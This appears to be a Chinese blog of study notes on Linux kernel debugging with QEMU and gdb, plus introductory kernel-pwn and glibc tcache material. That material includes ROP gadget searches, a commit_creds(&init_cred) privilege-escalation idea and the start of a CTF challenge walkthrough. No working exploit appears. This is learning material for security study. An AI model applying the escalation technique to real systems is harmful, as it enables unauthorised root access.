dustland

dustball in dustland

内核调试

[TOC]

调试环境

编译内核

1
2
3
4
5
cd /usr/src
wget https://mirrors.tuna.tsinghua.edu.cn/kernel/v6.x/linux-6.7.tar.gz
tar -xzf linux-6.7.tar.gz
cd linux-6.7
make menuconfig

Kernel hakcing->

Compile-time checks and compiler options->

Debug information->Rely on the toolchain's implicit default DWARF version

或者矮人4或者矮人5格式的调试信息都可以,只要是带着调试信息就可

配置完成之后

1
make -j$(nproc)

等待编译链接完成之后

1
make install

生成文件

内核的编译链接有三个阶段

image-20240222203727335

vmlinux

1
2
3
4
root@Destroyer:/usr/src/linux-6.7# find . -name vmlinux
./arch/x86/boot/compressed/vmlinux
./vmlinux
./tools/perf/util/bpf_skel/vmlinux //这实际是vmlinux.h头文件

根目录下面这个带有调试符号的linux elf,不可以作为引导内核,是第一次编译链接的产物

linux/arch/x86/boot/compressed/vmlinux这个是和piggy等又链接过的,并且经过了压缩

bzImage

1
2
3
root@Destroyer:/usr/src/linux-6.7# find . -name bzImage
./arch/x86/boot/bzImage
./arch/x86_64/boot/bzImage

真的bzImage只有一个,只不过x86_64下面这个,是x86这个的链接

linux/arch/x86/boot/bzImage这个是最终产物,可以引导

vmlinuz

内核编译链接完毕后,在项目根目录make install,会在/boot/下面生成vmlinuz-<版本号>

这个vmlinuz-<版本号>实际上就是bzImage

1
2
3
4
5
root@Destroyer:/boot# ll /usr/src/linux-6.7/arch/x86/boot/bzImage
-rw-r--r-- 1 root root 11801600 Feb 22 14:44 /usr/src/linux-6.7/arch/x86/boot/bzImage
root@Destroyer:/boot# ll vmlinuz*
-rw-r--r-- 1 root root 11801600 Feb 22 20:42 vmlinuz-6.7.0
-rw-r--r-- 1 root root 11801600 Feb 21 20:00 vmlinuz-6.7.0.old

qemu虚拟机

qemu的作用类似于vmware,但是可以更自由地配置,调试其上运行的内核

1
2
3
4
5
6
7
git clone https://gitee.com/qemu/qemu.git
cd qemu
mkdir build
cd build
../configure
make
make install

之后就可以在任意目录使用qemu工具了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
root@Destroyer:/home/dustball# qemu-
qemu-edid qemu-system-i386w.exe qemu-system-riscv32w.exe
qemu-edid.exe qemu-system-loongarch64.exe qemu-system-riscv64.exe
qemu-ga qemu-system-loongarch64w.exe qemu-system-riscv64w.exe
qemu-ga.exe qemu-system-m68k.exe qemu-system-rx.exe
qemu-img qemu-system-m68kw.exe qemu-system-rxw.exe
qemu-img.exe qemu-system-microblaze.exe qemu-system-s390x.exe
qemu-io qemu-system-microblazeel.exe qemu-system-s390xw.exe
qemu-io.exe qemu-system-microblazeelw.exe qemu-system-sh4.exe
qemu-nbd qemu-system-microblazew.exe qemu-system-sh4eb.exe
qemu-nbd.exe qemu-system-mips.exe qemu-system-sh4ebw.exe
qemu-pr-helper qemu-system-mips64.exe qemu-system-sh4w.exe
qemu-storage-daemon qemu-system-mips64el.exe qemu-system-sparc.exe
qemu-storage-daemon.exe qemu-system-mips64elw.exe qemu-system-sparc64.exe
qemu-system-aarch64.exe qemu-system-mips64w.exe qemu-system-sparc64w.exe
qemu-system-aarch64w.exe qemu-system-mipsel.exe qemu-system-sparcw.exe
qemu-system-alpha.exe qemu-system-mipselw.exe qemu-system-tricore.exe
qemu-system-alphaw.exe qemu-system-mipsw.exe qemu-system-tricorew.exe
qemu-system-arm.exe qemu-system-nios2.exe qemu-system-x86_64
qemu-system-armw.exe qemu-system-nios2w.exe qemu-system-x86_64.exe
qemu-system-avr.exe qemu-system-or1k.exe qemu-system-x86_64w.exe
qemu-system-avrw.exe qemu-system-or1kw.exe qemu-system-xtensa.exe
qemu-system-cris.exe qemu-system-ppc.exe qemu-system-xtensaeb.exe
qemu-system-crisw.exe qemu-system-ppc64.exe qemu-system-xtensaebw.exe
qemu-system-hppa.exe qemu-system-ppc64w.exe qemu-system-xtensaw.exe
qemu-system-hppaw.exe qemu-system-ppcw.exe qemu-uninstall.exe
qemu-system-i386.exe qemu-system-riscv32.exe

这里带有system字样的是为了适应不同的架构

qemu-system-x86_64就够了

qemu-img是创建虚拟磁盘使用的

如下是用qemu启动一个虚拟机的命令

1
2
3
4
5
6
7
8
9
qemu-system-x86_64 \
-m 512M \
-nographic \
-kernel ./bzImage \
-initrd ./rootfs.img \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 nokaslr" \
-smp cores=4,threads=2 \
-cpu kvm64 \
-s \

其中

-m是虚拟机运行内存

-kernel指定内核镜像文件在本机中的地址

-initrd指定内存文件系统,现在可以理解为磁盘

-append是启动参数

-smp指定多核多线程

-cpu指定虚拟CPU的类型

-s启动调试监听,允许gdb随时远程附加调试

那么什么是"内存文件系统"

内存文件系统

之前有一次安装kali虚拟机时,第一次开机没有进入到桌面,而是一个(initramfs)的shell

意思是,操作系统内核已经起来了,但是没有挂载根文件系统rootfs

那么什么是内存文件系统,什么是根文件系统呢

首先要明确,内核离了硬盘也是能活着的,可以用其他文件系统比如网络或者内存文件系统

内存文件系统是内核启动过程中使用的临时文件系统,内存文件系统(initrd或者initramfs)也是一个完整的linux目录树,并且在/bin下面有一套精简的命令工具集,比如busybox.在sbin下也有相关工具比如insmod,通常也是链接到/bin/busybox

这些工具在启动过程中可以供内核调用

1
2
3
4
5
6
7
8
9
10
11
12
root@Destroyer:/usr/src/busybox-1.36.1/_install# tree -L 1
.
├── bin //用户工具
├── dev
├── etc
├── init //开机自动执行的任务脚本
├── ktest.ko
├── linuxrc -> bin/busybox
├── proc
├── sbin //超级管理员工具
├── sys
└── usr

内存文件系统也存放在磁盘上,通常在/boot/initrd.img

实际上就是上述目录树打包后的归档文件

这就意味着,kernel开始启动之前,内存文件系统已经被解包并且搬到内存里去了

这就意味着,得有一个东西,它知道磁盘上的文件系统格式比如ext4,并且能正确访问到/boot/initrd.img,并且能解包.

这个东西就是grub

1
启动过程:mbr->grub->kernel

内核使用临时文件系统起来之后,临时文件系统的init脚本会规定此阶段内核应该干什么,挂载硬盘就是这时候发生的

1
2
3
4
5
6
7
8
9
10
11
12
13
root@Destroyer:/usr/src/busybox-1.36.1/_install# cat init
#!/bin/sh
echo "INIT SCRIPT"
mkdir /tmp
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs none /dev
mount -t debugfs none /sys/kernel/debug
mount -t tmpfs none /tmp
insmod /ktest.ko
echo -e "Boot took $(cut -d' ' -f1 /proc/uptime) seconds"
setsid /bin/cttyhack setuidgid 0 /bin/sh
poweroff -f

这里面使用的命令比如insmod就是临时文件系统提供的

如果后续要挂载磁盘首先需要让内核知道磁盘上的文件系统格式,比如ext2

也就是说insmod ext2之后,内核才能识别并访问ext2格式化的磁盘.

即时磁盘上的文件系统中有ext2模块,有insmod命令,但是此时还没有挂载,没法使用

因此只能是临时文件系统提供这个功能

也就是说,内存文件系统为内核提供了一套必要的访问磁盘的工具

至于为什么叫做"内存文件系统",因为整个initrd.img文件很小,会被全部加载进入内存,因此访问速度很快

制作linux临时文件系统

可以直接使用busybox

1
2
https://gitee.com/add358/busybox.git
cd busybox

然后make menuconfig,

Settings->Build Options->Build static binary(no shared libs)选上

这一步的目的是将busybox静态链接,可以脱离glibc环境运行,因为内存文件系统很小,不需要glibc

Applets->Linux System Utilities->Support mounting NFS file systems on Linux < 2.6.23 (NEW)不选

这一步的目的是设置不挂载网络文件系统,为了精简大小

Applets->Networking Utilities->inetd不选

这一步的目的是不使用网络,为了精简大小

1
2
make -j$(nproc)
make install

make install之后会在当前目录下生成一个_install目录

1
2
root@Destroyer:/home/dustball/busybox/_install# ls
bin linuxrc sbin usr

也就是说,busybox提供了bin,sbin,usr三个目录的功能

usr下面的bin和sbin实际上是_install目录下两个同名目录的链接

然后bin,sbin里面的工具,也全是到bin/busybox的链接

也就是说,生成了一个busybox可执行程序,创建了一大堆链接

至于sys,dev等目录他不管,我们借助这个半成品加上这几个目录就可以构造一个临时文件系统了

1
mkdir -p  proc sys dev etc/init.d

然后在当前目录下创建init脚本,规定内核启动时要干啥

1
2
3
4
5
6
7
8
9
10
11
#!/bin/sh
echo "INIT SCRIPT"
mkdir /tmp
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs none /dev
mount -t debugfs none /sys/kernel/debug
mount -t tmpfs none /tmp
echo -e "Boot took $(cut -d' ' -f1 /proc/uptime) seconds"
setsid /bin/cttyhack setuidgid 0 /bin/sh
poweroff -f

改一下文件权限

1
chmod +x init

之后在_install目录打包整个临时文件系统

1
2
root@Destroyer:/home/dustball/busybox/_install# find . | cpio -o --format=newc > ../rootfs.img
5949 blocks

这会在上级目录生成一个rootfs.img归档文件

1
2
3
root@Destroyer:/home/dustball/busybox/_install# cd ..
root@Destroyer:/home/dustball/busybox# file rootfs.img
rootfs.img: ASCII cpio archive (SVR4 with no CRC)

这个文件就可以作为临时文件系统了

启动内核

把可以引导的内核镜像bzImage也搬到rootfs.img所在的目录来

1
root@Destroyer:/home/dustball/busybox# cp /usr/src/linux-6.7/arch/x86/boot/bzImage .

之后可以用qemu启动内核了

1
2
3
4
5
6
7
8
9
#!/bin/sh
qemu-system-x86_64 \
-m 512M \
-nographic \
-kernel ./bzImage \
-initrd ./rootfs.img \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 nokaslr" \
-smp cores=4,threads=2 \
-cpu kvm64

如果没起来,报告找不到/dev/tty,可能是init脚本没有给执行权限

-m指定使用内存大小

-kernel指定内核镜像文件

-initrd指定临时文件系统文件

-append指定启动参数,

root=/dev/ram,根文件系统也使用临时文件系统 rw可读写

console=ttyS0,指定串口终端0,改成tty0或者ttyS1都看不到输出,还不清楚原因

oops=panic panic1 指定发生oops异常时,应该触发内核崩溃

nokaslr,方便调试关闭内核地址随机化

内存文件系统编译进内核

之前的内核是一个裸核,内存文件系统是单独制作然后用qemu启动的

可以直接编译进内核

1
https://blog.csdn.net/OnlyLove_/article/details/124565282

坏处是如果想要修改文件系统,需要重新编译内核

调试内核

启动内核时加上调试选项-s,这样就会在127.0.0.1:1234上开启监听端口

1
2
3
4
5
6
7
8
9
10
#!/bin/sh
qemu-system-x86_64 \
-m 512M \
-nographic \
-kernel ./bzImage \
-initrd ./rootfs.img \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 nokaslr" \
-smp cores=4,threads=2 \
-cpu kvm64 \
-s

然后启动,再开一个终端,用gdb就可以远程调试了

1
pwndbg> target remote localhost:1234

添加调试信息

用于引导的bzImage已经去掉了调试信息,如果直接用gdb给start_kernel这种函数下断点,找不到符号

1
2
pwndbg> b start_kernel
No symbol table is loaded. Use the "file" command.

vmlinux中保留有调试信息(编译时保留了调试信息比如dwarf5),将其作为调试符号来源

首先需要知道将vmlinux添加到哪里,也就是内核在内存中的地址

在gdb上c一下让调试内核能够自由执行,然后在被调试的内核上

1
2
/proc # cat /proc/iomem | grep "Kernel code"
01000000-01ffffff : Kernel code

也就是内核基地址在0x01000000

在gdb上添加调试符号(ctrl+C中断内核)

1
2
3
4
pwndbg> add-symbol-file ./vmlinux 0x01000000
add symbol table from file "./vmlinux" at
.text_addr = 0x01000000
Reading symbols from ./vmlinux...done.

之后就可以在内核函数上下断点了

1
2
pwndbg> b start_kernel
Breakpoint 1 at 0x1e457e0: start_kernel. (2 locations)

也可以源码调试内核了

添加内核模块调试信息

类似的方法,需要知道的是内核模块在内存中的地址,作为调试符号输入的ko模块文件需要保留调试符号

至于如何保留内核模块的调试符号,需要加入gcc的编译选项-g,CFLAGS_MODULE=-g

Makefile这样写

1
2
3
4
5
6
7
8
9
10
root@Destroyer:/home/dustball/kd# cat Makefile
obj-m += ktest.o

KDIR = /usr/src/linux-6.7

all:
$(MAKE) -C $(KDIR) M=$(PWD) modules CFLAGS_MODULE=-g

clean:
rm -rf *.o *.ko *.mod.* *.symvers *.order

新编译好的内核模块,注意放到_install下面之后重新cpio打包

给内核模块添加调试符号,首先需要知道该模块被加载到内存的地址

在gdb上c一下让内核继续

然后在被调试的内核上

1
2
/proc # cat /proc/modules
ktest 12288 0 - Live 0xffffffffc0000000 (O)

也就是说内核模块ktest在0xffffffffc0000000

下面从gdb上为其加载符号

1
2
3
4
pwndbg> add-symbol-file ./ktest.ko 0xffffffffc0000000
add symbol table from file "./ktest.ko" at
.text_addr = 0xffffffffc0000000
Reading symbols from ./ktest.ko...done.

之后就可以下断点,源码调试了

1
2
pwndbg> b ko_test_init
Breakpoint 2 at 0xffffffffc0000000: file /home/dustball/kd/ktest.c, line 7.

内核数据结构

内核ROP

工具

用户态ROP利用gadget构造system("/bin/sh")

内核ROP利用gadget构造commit_creds(&init_cred)

ROPgadget

用户态pwn题常用ROPgadget

1
2
3
4
apt install python-capstone
git clone https://gitee.com/pwn2security/ROPgadget.git
cd ROPgadget
python3 setup.py install
1
2
3
4
root@Destroyer:/home/dustball/kd# ROPgadget --binary /lib64/ld-linux-x86-64.so.2 --only "jmp" | grep rsp
0x00000000000010d5 : jmp rsp
root@Destroyer:/home/dustball/kd# ROPgadget --binary /usr/src/linux-6.7/vmlinux --only "jmp" | grep rsp
0xffffffff81220783 : jmp rsp

但是从内核vmlinux中找gadget比较慢

ropper

类似于ROPgadget,但是听说速度快点,没有验证

1
pip3 install ropper
1
2
3
4
5
6
7
8
9
10
root@Destroyer:/home/dustball/kd# ropper -f /usr/src/linux-6.7/vmlinux --search "jmp rsp"
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 88%
[LOAD] loading... 100%
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: jmp rsp
[INFO] File: /usr/src/linux-6.7/vmlinux
0xffffffff81220783: jmp rsp;

ropper的semantic功能,可以进行简单的静态语义分析,找到令rax=0这种gadget

extract-vmlinux

linux/scripts/extract-vmlinux at master · torvalds/linux · GitHub

bzImage是一个经过压缩的内核,如果想要寻找gadget,必须使用一个未被压缩的elf文件,也就是vmlinux

如果题目给出了一个bzImage,可以用extract-vmlinux提取vmlinux

1
./extract-vmlinux ./bzImage > vmlinux

cred结构

cred结构体管理进程权限,用户id等信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
// linux/include/linux/cred.h
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
/* RCU deletion */
union {
int non_rcu; /* Can we skip RCU deletion? */
struct rcu_head rcu; /* RCU deletion hook */
};
} __randomize_layout;

extern void __put_cred(struct cred *);
extern void exit_creds(struct task_struct *);
extern int copy_creds(struct task_struct *, unsigned long);
extern const struct cred *get_task_cred(struct task_struct *);
extern struct cred *cred_alloc_blank(void);
extern struct cred *prepare_creds(void);
extern struct cred *prepare_exec_creds(void);
extern int commit_creds(struct cred *);
extern void abort_creds(struct cred *);
extern const struct cred *override_creds(const struct cred *);
extern void revert_creds(const struct cred *);
extern struct cred *prepare_kernel_cred(struct task_struct *);
extern int change_create_files_as(struct cred *, struct inode *);
extern int set_security_override(struct cred *, u32);
extern int set_security_override_from_ctx(struct cred *, const char *);
extern int set_create_files_as(struct cred *, struct inode *);
extern int cred_fscmp(const struct cred *, const struct cred *);
extern void __init cred_init(void);

函数实现和init_cred这个预定义对象都在linux/kernel/cred.c中实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#define GLOBAL_ROOT_UID KUIDT_INIT(0)
#define GLOBAL_ROOT_GID KGIDT_INIT(0)

/*
* The initial credentials for the initial task
*/
struct cred init_cred = {
.usage = ATOMIC_INIT(4),
#ifdef CONFIG_DEBUG_CREDENTIALS
.subscribers = ATOMIC_INIT(2),
.magic = CRED_MAGIC,
#endif
.uid = GLOBAL_ROOT_UID,
.gid = GLOBAL_ROOT_GID,
.suid = GLOBAL_ROOT_UID,
.sgid = GLOBAL_ROOT_GID,
.euid = GLOBAL_ROOT_UID,
.egid = GLOBAL_ROOT_GID,
.fsuid = GLOBAL_ROOT_UID,
.fsgid = GLOBAL_ROOT_GID,
.securebits = SECUREBITS_DEFAULT,
.cap_inheritable = CAP_EMPTY_SET,
.cap_permitted = CAP_FULL_SET,
.cap_effective = CAP_FULL_SET,
.cap_bset = CAP_FULL_SET,
.user = INIT_USER,
.user_ns = &init_user_ns,
.group_info = &init_groups,
};

这个init_cred是一个具有最高权限的cred,可以考虑使用它或者其拷贝进行提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
/**
* prepare_creds - Prepare a new set of credentials for modification
*
* Prepare a new set of task credentials for modification. A task's creds
* shouldn't generally be modified directly, therefore this function is used to
* prepare a new copy, which the caller then modifies and then commits by
* calling commit_creds().
*
* Preparation involves making a copy of the objective creds for modification.
*
* Returns a pointer to the new creds-to-be if successful, NULL otherwise.
*
* Call commit_creds() or abort_creds() to clean up.
*/
struct cred *prepare_creds(void)
{
struct task_struct *task = current;
const struct cred *old;
struct cred *new;

validate_process_creds();

new = kmem_cache_alloc(cred_jar, GFP_KERNEL);
if (!new)
return NULL;

kdebug("prepare_creds() alloc %p", new);

old = task->cred;
memcpy(new, old, sizeof(struct cred));

new->non_rcu = 0;
atomic_set(&new->usage, 1);
set_cred_subscribers(new, 0);
get_group_info(new->group_info);
get_uid(new->user);
get_user_ns(new->user_ns);

#ifdef CONFIG_KEYS
key_get(new->session_keyring);
key_get(new->process_keyring);
key_get(new->thread_keyring);
key_get(new->request_key_auth);
#endif

#ifdef CONFIG_SECURITY
new->security = NULL;
#endif

if (security_prepare_creds(new, old, GFP_KERNEL_ACCOUNT) < 0)
goto error;
validate_creds(new);
return new;

error:
abort_creds(new);
return NULL;
}
EXPORT_SYMBOL(prepare_creds);

强网杯2018-core

给了四个东西bzImage core.cpio start.sh vmlinux,其中

bzImage是内核镜像

1
2
root@Destroyer:/home/dustball/ctf-challenges/pwn/kernel/QWB2018-core/give_to_player# file bzImage
bzImage: Linux kernel x86 boot executable bzImage, version 4.15.8 (simple@vps-simple) #19 SMP Mon Mar 19 18:50:28 CST 2018, RO-rootFS, swap_dev 0x6, Normal VGA

vmlinux是带符号表的elf文件

1
2
root@Destroyer:/home/dustball/ctf-challenges/pwn/kernel/QWB2018-core/give_to_player# file vmlinux
vmlinux: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=1d8344e71a82bc43821029796ef65bebfe8e65c3, not stripped

start.shqemu启动内核的脚本,

1
2
3
4
5
6
7
8
9
root@Destroyer:/home/dustball/ctf-challenges/pwn/kernel/QWB2018-core/give_to_player# cat start.sh
qemu-system-x86_64 \
-m 64M \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \

-initrd ./core.cpio指定使用core.cpio作为内存文件系统

kaslr开启了内核地址随机化

-s 开启了调试

解包core.cpio看看文件系统里有啥

1
2
root@Destroyer:/home/dustball/ctf-challenges/pwn/kernel/QWB2018-core/give_to_player# file core.cpio
core.cpio: gzip compressed data, last modified: Fri Oct 5 14:08:36 2018, max compression, from Unix

发现首先有一层gzip压缩

1
2
3
4
5
6
7
root@Destroyer:/home/dustball/ctf-challenges/pwn/kernel/QWB2018-core/give_to_player# mkdir core
root@Destroyer:/home/dustball/ctf-challenges/pwn/kernel/QWB2018-core/give_to_player# cp core.cpio ./core
root@Destroyer:/home/dustball/ctf-challenges/pwn/kernel/QWB2018-core/give_to_player# cd core
root@Destroyer:/home/dustball/ctf-challenges/pwn/kernel/QWB2018-core/give_to_player/core# mv core.cpio core.cpio.gz
root@Destroyer:/home/dustball/ctf-challenges/pwn/kernel/QWB2018-core/give_to_player/core# gunzip core.cpio.gz
root@Destroyer:/home/dustball/ctf-challenges/pwn/kernel/QWB2018-core/give_to_player/core# file core.cpio
core.cpio: ASCII cpio archive (SVR4 with no CRC)

这时候已经没有gzip包了,是一个cpio归档文件,解包用

1
root@Destroyer:/home/dustball/ctf-challenges/pwn/kernel/QWB2018-core/give_to_player/core# cpio -idm < core.cpio

解包之后是一个linux目录树,值得注意的是根目录下有两个shell脚本,gen_cpio.sh和init

这个gen_cpio.sh会递归查找当前目录为根的目录树打包成cpio归档文件,也就是制作文件系统用的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko

poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys

poweroff -d 0 -f

其中有五条关键指令

1
2
3
4
5
cat /proc/kallsyms > /tmp/kallsyms		//将kallsyms内核符号表拷贝到.tmp下面,这就意味着普通用户可以读取
echo 1 > /proc/sys/kernel/kptr_restrict //不允许普通用户读取kallsyms内核符号
echo 1 > /proc/sys/kernel/dmesg_restrict //不允许普通用户读取dmesg内核消息
insmod /core.ko //加载了一个内核模块叫core
setsid /bin/cttyhack setuidgid 1000 /bin/sh //当前用户id为1000,不是root

ida64打开core.ko看看是什么东西

tcache

glibc2.26之后

"如为死狂,则事无不成。"--<<最后的武士>>

datastructure

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/* We want 64 entries.  This is an arbitrary limit, which tunables can reduce.  */
# define TCACHE_MAX_BINS 64
# define MAX_TCACHE_SIZE tidx2usize (TCACHE_MAX_BINS-1)

/* Only used to pre-fill the tunables. */
# define tidx2usize(idx) (((size_t) idx) * MALLOC_ALIGNMENT + MINSIZE - SIZE_SZ)
//根据tcache下标求解其中堆块的大小
/* When "x" is from chunksize(). */
# define csize2tidx(x) (((x) - MINSIZE + MALLOC_ALIGNMENT - 1) / MALLOC_ALIGNMENT)
//根据堆块大小求解对应tcache下标
/* When "x" is a user-provided size. */
# define usize2tidx(x) csize2tidx (request2size (x))
//根据堆块的mem区大小,首先计算得到堆块的整体大小(包括元数据)然后计算对应tcache下标
/* With rounding and alignment, the bins are...
idx 0 bytes 0..24 (64-bit) or 0..12 (32-bit)
idx 1 bytes 25..40 or 13..20
idx 2 bytes 41..56 or 21..28
etc. */

/* This is another arbitrary limit, which tunables can change. Each
tcache bin will hold at most this number of chunks. */
# define TCACHE_FILL_COUNT 7
tcache桶子下标 mem大小范围
0 0x18
1
2
...
63

tcache_perthread_struct类定义

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

static __thread bool tcache_shutting_down = false;
static __thread tcache_perthread_struct *tcache = NULL;

typedef struct tcache_entry
{
struct tcache_entry *next;
} tcache_entry;
//本堆块的mem区域第一个int被复用为next指针
//单向链表,next指针指向下一个空闲堆块的mem区域

每个线程都有自己的tcache

也就是说,一个线程有一个tcache_perthread_struct结构体

counts[tidx]是计数器,记录tidx下标的tcache桶子中有几个堆块

entries[tidx]是链表头,指向tidx桶子中的第一个堆块

每个桶子中最多有TCACHE_FILL_COUNT=7个堆块,每个tcache_perthread_struct中有64个桶子

image-20231027112655389

成员函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)//将chunk放到tc_idx下标的tcache中
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);//tcache_entry指针指向mem区,而不是基地址
assert (tc_idx < TCACHE_MAX_BINS);
e->next = tcache->entries[tc_idx];//头插法
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);//tc_idx对应计数器自增
}

/* Caller must ensure that we know tc_idx is valid and there's
available chunks to remove. */
static __always_inline void *
tcache_get (size_t tc_idx)//从tc_idx桶子中拿出一个堆块
{
tcache_entry *e = tcache->entries[tc_idx];
assert (tc_idx < TCACHE_MAX_BINS);
assert (tcache->entries[tc_idx] > 0);
tcache->entries[tc_idx] = e->next;
--(tcache->counts[tc_idx]);
return (void *) e;
}

static void
tcache_thread_shutdown (void)
{//线程死亡时释放这个线程的tcache,实际上调用free函数释放该线程的tcache中的堆块
int i;
tcache_perthread_struct *tcache_tmp = tcache;

if (!tcache)
return;

/* Disable the tcache and prevent it from being reinitialized. */
tcache = NULL;
tcache_shutting_down = true;

/* Free all of the entries and the tcache itself back to the arena
heap for coalescing. */
for (i = 0; i < TCACHE_MAX_BINS; ++i)
{
while (tcache_tmp->entries[i])
{
tcache_entry *e = tcache_tmp->entries[i];
tcache_tmp->entries[i] = e->next;
__libc_free (e);
}
}

__libc_free (tcache_tmp);
}

static void
tcache_init(void)
{
mstate ar_ptr;
void *victim = 0;
const size_t bytes = sizeof (tcache_perthread_struct);
//tcache_perthread_struct这个结构本身就是堆上分配的一个堆块

if (tcache_shutting_down)
return;

arena_get (ar_ptr, bytes);
victim = _int_malloc (ar_ptr, bytes);
if (!victim && ar_ptr != NULL)
{
ar_ptr = arena_get_retry (ar_ptr, bytes);
victim = _int_malloc (ar_ptr, bytes);
}


if (ar_ptr != NULL)
__libc_lock_unlock (ar_ptr->mutex);

/* In a low memory situation, we may not be able to allocate memory
- in which case, we just keep trying later. However, we
typically do this very early, so either there is sufficient
memory, or there isn't enough memory to do non-trivial
allocations anyway. */
if (victim)
{
tcache = (tcache_perthread_struct *) victim;
memset (tcache, 0, sizeof (tcache_perthread_struct));
}

}


algorithm

调用malloc的过程是这样的:

1
2
3
4
malloc
->libc_malloc
->use tcache
->int_malloc

如果在libc_malloc中使用tcache能够完成分配,则不需要调用int_malloc

1
2
3
启用tcache后,分配过程宏观上看是这样的
如果libc_malloc中,发现对应tcache中有合适的堆块,直接拿出来返回
否则需要调用int_malloc,对bins中的堆块进行缓存和分类,然后返回

libc_malloc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
void *
__libc_malloc (size_t bytes)
{
mstate ar_ptr;
void *victim;
....
#if USE_TCACHE
/* int_free also calls request2size, be careful to not pad twice. */
size_t tbytes;
checked_request2size (bytes, tbytes);
size_t tc_idx = csize2tidx (tbytes);//计算应该到哪个tcache中取堆块

MAYBE_INIT_TCACHE ();

DIAG_PUSH_NEEDS_COMMENT;
if (tc_idx < mp_.tcache_bins //tc_idx是否落在tcache范围内,也就是说堆块大小是不是在tcache管理范围内
/*&& tc_idx < TCACHE_MAX_BINS*/ /* to appease gcc */
&& tcache //是否已经初始化
&& tcache->entries[tc_idx] != NULL) //对应的桶子中是否有剩余堆块
{
return tcache_get (tc_idx); //哪一个堆块,返回值,由于tcache中指针自然指向mem区域,因此不需要再指针转换
}
DIAG_POP_NEEDS_COMMENT;
#endif
....

int_malloc

fastbin和smallbin的缓存算法基本一致

unsortedbin的缓存算法比较复杂

largebin不需要缓存

对fastbin的缓存

fastbin中的分配规则为:

1
2
3
如果对应nb的fastbin中有至少一个堆块,首先把这个堆块拿出来放到victim上
然后把这个桶子中其他堆块拆下来,塞进tcache,直到tcache的对应桶子中塞满7个为止
最后返回那个victim
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49

if ((unsigned long)(nb) <= (unsigned long)(get_max_fast()))
{
idx = fastbin_index(nb);
mfastbinptr *fb = &fastbin(av, idx);
mchunkptr pp;
